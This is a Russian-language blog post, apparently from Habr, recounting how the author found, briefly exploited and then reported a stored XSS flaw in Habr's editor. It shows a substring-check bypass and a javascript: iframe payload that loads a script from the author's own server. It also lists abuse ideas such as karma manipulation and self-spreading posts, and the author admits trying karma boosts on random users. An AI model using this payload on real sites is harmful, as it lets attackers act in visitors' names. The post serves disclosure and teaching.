Как я Хабр взломал
Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведной борьбе с Безумным Максом, я, как и автор поста, решил исследовать функционал Хабра на предмет уязвимостей.
Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.
В редакторе обратил особое внимание на три возможности:
Вставка кода
Вставка формул
Вставка медиаэлементов
С первыми двумя пришлось повозиться, но ничего существенного найти не удалось. А вот третий оказался очень интересным — через медиаэлемент можем вставлять iframe, указывая на url ресурса, например, делать вставку с youtube.
Но! Разработчики Хабра — хитрые ребята, и в материал вставляется iframe не прямой ссылкой на youtube, а ссылкой на https://embedd.srv.habr.com
(например: https://embedd.srv.habr.com/iframe/621169d6e1af860b1c6b9971
), где уже и содержится само видео.
Шаг 1
Проанализировав запрос сохранения публикации (https://habr.com/kek/v2/publication/save/ID), я попытался подменить ссылку в iframe на свою, через параметр habrUrl, но сервер вернул message:»Bad Request» »В тексте были использованы недопустимые элементы. Проверьте его содержимое». Хорошо, давайте проверим: недопустимых элементов точно нет, это просто url, а вот домен был не habr, а мой. Тогда в голову пришла мысль:»А что если домен embedd.srv.habr.com будет присутствовать только в части url, например так: https://mydomain.ru/embedd.srv.habr.com/? »
Ого! Случилось чудо! Ссылка была успешно принята, и в черновиках я получил материал с iframe, где в качестве src была указана ссылка на мой ресурс.
По всей видимости, разработчики не проверяют домен, а проверяют только вхождение ключевого слова »embedd.srv.habr.com», к примеру https://mydomain.ru/habr.com/ валидным не является.
Получив страницу с «правильно» встроенным iframe и побаловавшись с alert и console.log, я понял, что политика безопасности браузера не позволяет запускать скрипты из iframe и вообще обращаться к родительскому окну.
В результате iframe injection c вытекающими отсюда последствиями есть, например, вставкой своей рекламы или выполнением скриптов от имени пользователей, но, увы, без привязки к домену habr.com. Такой вариант меня не устроил, и я решил копать дальше.
Шаг 2
А если попробовать вставить в iframe src не ссылку на фрейм, а непосредственно сам вызов javascript?
Например так:
javascript:alert(‘Hello habr!’);
Разумеется не работает, «Bad Request». Ах! Да, конечно!
javascript:alert(‘Hello habr! From embedd.srv.habr.com’);
Работает! Спасибо ключевому слову «embedd.srv.habr.com»
Ну все, далее уже дело техники, пробуем создать тег script и загрузить заранее подготовленных js-файл с моего сервера.
javascript:s=window.top.document.createElement('script');
s.setAttribute('src','https://mydomain.com/embedd.srv.habr.com/test.js');
window.top.document.head.appendChild(s)
window.top
— так как скрипт вызывается из iframe, необходимо сперва обратиться к родительскому окну;
embedd.srv.habr.com
— не забываем вставить в текст этот домен, без него работать не будет.
Отправив post-запрос, получил информацию, что материал успешно обновлен, а скрипт внедрен на страницу поста.
Теперь любой пользователь, который зайдет в опубликованный материал, загрузит мой js-скрипт, и от его имени я могу совершать абсолютно любые действия, например: повышать карму, голосовать за любой материал, оставлять комментарии и публиковать заметки (разумеется если у него есть на это права).
Навскидку несколько сценариев использования уязвимости:
Втихую повышаем себе карму и плюсуем свои посты.
«Мониторим» тех, кто минусует твои посты, и минусуем их самих.
От имени пользователей создаём посты с уязвимостями, которые создают такие же посты с уязвимостями (рекурсивно).
Вариантов на самом деле много, можно предлагать свои в комментариях.
Протестировав получение данных на странице черновика и поэкспериментировав увеличением кармы случайным пользователям, я, разумеется, написал в тех. поддержку. Со мной связался специалист по тестированию, который передал данные разработчикам. Уязвимость поправили довольно быстро, и в данный момент она устранена.
Выводы
Хабр вдохновляет!
ВНИМАТЕЛЬНО валидируйте пользовательские данные.
Если нашли уязвимость — сообщите разработчикам Хабра (можно через @Boomburum), вознаграждение гарантируется.